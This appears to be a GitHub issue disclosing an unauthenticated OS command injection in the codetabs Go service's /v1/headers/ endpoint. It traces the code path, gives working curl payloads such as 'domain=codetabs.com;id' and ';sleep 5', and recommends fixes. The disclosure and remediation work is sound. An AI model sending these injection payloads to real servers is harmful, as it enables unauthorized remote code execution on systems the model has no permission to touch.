Skip to content

codetabs /v1/headers/ OS Command Injection Leading to Remote Code Execution #44

@360AlphaLab

Description

@360AlphaLab

Vulnerability Report: codetabs /v1/headers/ OS Command Injection Leading to Remote Code Execution

Vulnerability Submission Assessment

Vulnerability Chain Exists: Yes

Submission Verdict

Attribute Value
Vulnerability Type A03:2021-Injection / OS Command Injection
Exploitation Method Unauthenticated
CVSS 3.1 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Should Submit Yes

Rationale

Details

This vulnerability resides in the publicly exposed /v1/headers/ endpoint. An attacker can submit the domain parameter without authentication. The parameter value is read via r.Form.Get("domain"), directly concatenated into the command string curl -fsSI + domain, and ultimately passed to exec.Command("sh", "-c", comm).CombinedOutput(). Because a shell interpreter layer is present, an attacker can exploit metacharacters such as ;, |, &&, $(), and backticks to inject arbitrary system commands, gaining remote code execution capability.

Next Steps

Continue generating the complete vulnerability report.

1. Product Overview

codetabs is a lightweight HTTP service written in Go that provides multiple public API endpoints, including Alexa ranking, geolocation, HTTP header fetching, weather, random numbers, proxy, and more. The target vulnerability resides in the publicly accessible HTTP header query endpoint, where the server invokes the system curl command to fetch response headers from a specified site.

2. Vulnerability Description

Attribute Value
Vulnerability Type CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CVSS 3.1 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Vulnerable Files project/codetabs/headers/headers.go / project/codetabs/_utils/utils.go
Prerequisites No authentication required; the service runtime environment must have access to sh and curl
Entry Point Unauthenticated public endpoint GET /v1/headers/?domain=<payload>
  • Core impact: An attacker can inject arbitrary shell commands via the domain parameter to execute system commands directly on the server.
  • Environmental constraints: The service deployment environment must have sh and curl available, which is the default execution prerequisite for this program's current implementation.
  • Trigger conditions (default values): The default code path already satisfies the conditions — the endpoint is publicly exposed and the parameter is unfiltered.

3. Scope of Impact

4. Vulnerability Details

4.1 Code Audit Analysis

Entry Point

Route registration location:

Middleware logic:

  • mw() only performs additional ban checks for the proxy service
  • The headers service only logs access counts; no authentication or input validation is performed

Parameter Retrieval

In headers.Router:

r.ParseForm()
hr.domain = r.Form.Get("domain")
if hr.domain == "" || len(path) != 2 {
    u.BadRequest(w, r)
    return
}
hr.doHeadersRequest(w, r)

The issues are:

  • domain comes entirely from the user request
  • No domain format validation
  • No URL parsing or normalization
  • No shell escaping
  • No parameterized execution

Dangerous Concatenation

In doHeadersRequest():

const curl = "curl -fsSI "
rawData, err := u.GenericCommandSH(curl + hr.domain)

This directly appends the user-supplied domain to the end of the command string.
If domain is example.com;id, the resulting command string is:

curl -fsSI example.com;id

Dangerous Execution

In GenericCommandSH():

chunk, err = exec.Command("sh", "-c", comm).CombinedOutput()

This implementation explicitly passes the entire string to the shell for interpretation and execution.
Therefore, the following metacharacters can all be exploited:

  • ;
  • &&
  • |
  • $()
  • Backticks

The attack chain is:

HTTP Request -> domain parameter -> string concatenation -> sh -c -> shell parses metacharacters -> arbitrary command execution

4.2 PoC Construction Approach

The target endpoint is a public GET endpoint, and the most easily exploitable parameter is domain. This parameter is intended to represent a target hostname or URL, but in the implementation it is treated as a raw shell fragment and directly concatenated after the curl command. Since the backend does not use the safe argument array form of exec.Command() but instead starts a shell via "sh", "-c", simply appending shell metacharacters after domain is sufficient to break out of the original command and execute additional system commands.

Recommended PoC approaches that do not rely on response body output:

  • Time-based blind injection: domain=example.com;ping -c 3 127.0.0.1
  • Command with output: domain=example.com;id
  • Marker output: domain=example.com;echo CODETABS_RCE_TEST

If the deployment environment is Linux, id, whoami, and uname -a are all valid verification commands.
If the target has limited response body output, response time variation can be used to verify whether the injected command was executed.

5. Proof of Concept Reproduction

5.1 Environment Setup

  • Target: codetabs currently audited codebase
  • Entry endpoint: GET /v1/headers/?domain=
  • Runtime requirements: sh and curl must be present on the server
  • Reproduction method: Send HTTP requests directly
  • Screenshots: Per requirements, this report does not include screenshots

5.2 Reproduction Steps

Step 1: Access the normal endpoint to confirm the feature exists

Request:

GET /v1/headers/?domain=codetabs.com

The endpoint attempts to fetch response headers from the target site, confirming the feature is functional and the domain parameter is user-controllable.

Step 2: Construct a command concatenation payload

Replace the domain parameter with a value containing shell metacharacters, for example:

GET /v1/headers/?domain=codetabs.com;id

The server-side execution logic is then equivalent to:

curl -fsSI codetabs.com;id

Since the backend executes the entire command through a shell, ;id is treated as a new system command and executed.

Step 3: Verify command execution via response content or timing characteristics

  • If the application returns command output in the response, strings like uid= and gid= will be visible directly in the response
  • If output is limited, use a timing-based command instead:
GET /v1/headers/?domain=codetabs.com;sleep 5

If the endpoint response time increases significantly, it proves that the server executed the injected command.

5.3 Result Verification

Verification Item Result
Is domain user-controllable Yes, read directly from query parameters
Is there input validation No, only an empty-value check is performed
Is the command string directly concatenated Yes, see curl + hr.domain
Is execution performed through a shell Yes, see exec.Command("sh", "-c", comm)
Can shell metacharacters be inserted to execute additional commands Yes, leads to arbitrary command execution
Final vulnerability impact Remote Code Execution (RCE)

5.4 Attack Chain Diagram

Attacker
  -> Request /v1/headers/?domain=codetabs.com;id
  -> Server reads domain parameter
  -> Concatenates command "curl -fsSI " + domain
  -> Executes via sh -c
  -> Shell parses ;id
  -> Server executes arbitrary system command
  -> RCE ✓

6. PoC

Two PoCs are provided below: one in intuitive curl form and one in Python for ease of testing.

6.1 curl PoC

curl "http://127.0.0.1:8080/v1/headers/?domain=codetabs.com;id"

Time-based blind injection verification:

curl "http://127.0.0.1:8080/v1/headers/?domain=codetabs.com;sleep 5"

6.2 Python PoC

Corresponding script file:

Script features:

  • Supports customizable target address
  • Supports output-based command verification
  • Supports time-based blind injection verification
  • Only sends HTTP requests; does not rely on local shell concatenation

7. Remediation Recommendations

Recommendation 1: Prohibit executing external commands through a shell

The current dangerous point is that GenericCommandSH() uses "sh", "-c".
This should be changed to parameterized execution so that user input never enters the shell interpreter.

Unsafe example:

exec.Command("sh", "-c", "curl -fsSI " + userInput)

Safer example:

cmd := exec.Command("curl", "-fsSI", userInput)
out, err := cmd.CombinedOutput()

Recommendation 2: Apply strict whitelist validation on domain

Only allow valid domain names or URLs, and reject any input containing the following characters:

  • ;
  • &
  • |
  • `
  • $
  • (
  • )
  • <
  • >

Recommended approach using standard library parsing and validation:

  • net/url
  • Regular expressions or dedicated hostname validation logic

Recommendation 3: Restrict protocols and target scope

If the business only requires querying HTTP/HTTPS site response headers, the following should be enforced:

  • Allow only http:// and https://
  • Validate the hostname after parsing with a whitelist or minimal restrictions
  • Block local addresses, internal network addresses, and loopback addresses to prevent further escalation to SSRF

Recommendation 4: Remove dependency on external curl

It is strongly recommended to use Go's native HTTP client to send HEAD requests instead of invoking system commands:

client := &http.Client{}
req, err := http.NewRequest("HEAD", targetURL, nil)
if err != nil {
    return err
}
resp, err := client.Do(req)

This eliminates the shell injection attack surface at its root.

Recommendation 5: Add security monitoring

  • Establish log alerts for inputs containing anomalous characters
  • Implement rate limiting and risk control for high-frequency failed requests
  • Conduct a unified audit of all code paths that execute external processes
  • Add unit tests covering command injection scenarios

8. Conclusion

This vulnerability is a real unauthenticated OS command injection vulnerability.
User input domain enters at project/codetabs/headers/headers.go:35, is directly concatenated at project/codetabs/headers/headers.go:55, and is then handed to the shell for execution by project/codetabs/_utils/utils.go:42. An attacker can use shell metacharacters to inject arbitrary commands, ultimately gaining remote code execution capability on the server. This is a Critical severity vulnerability that should be patched immediately.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions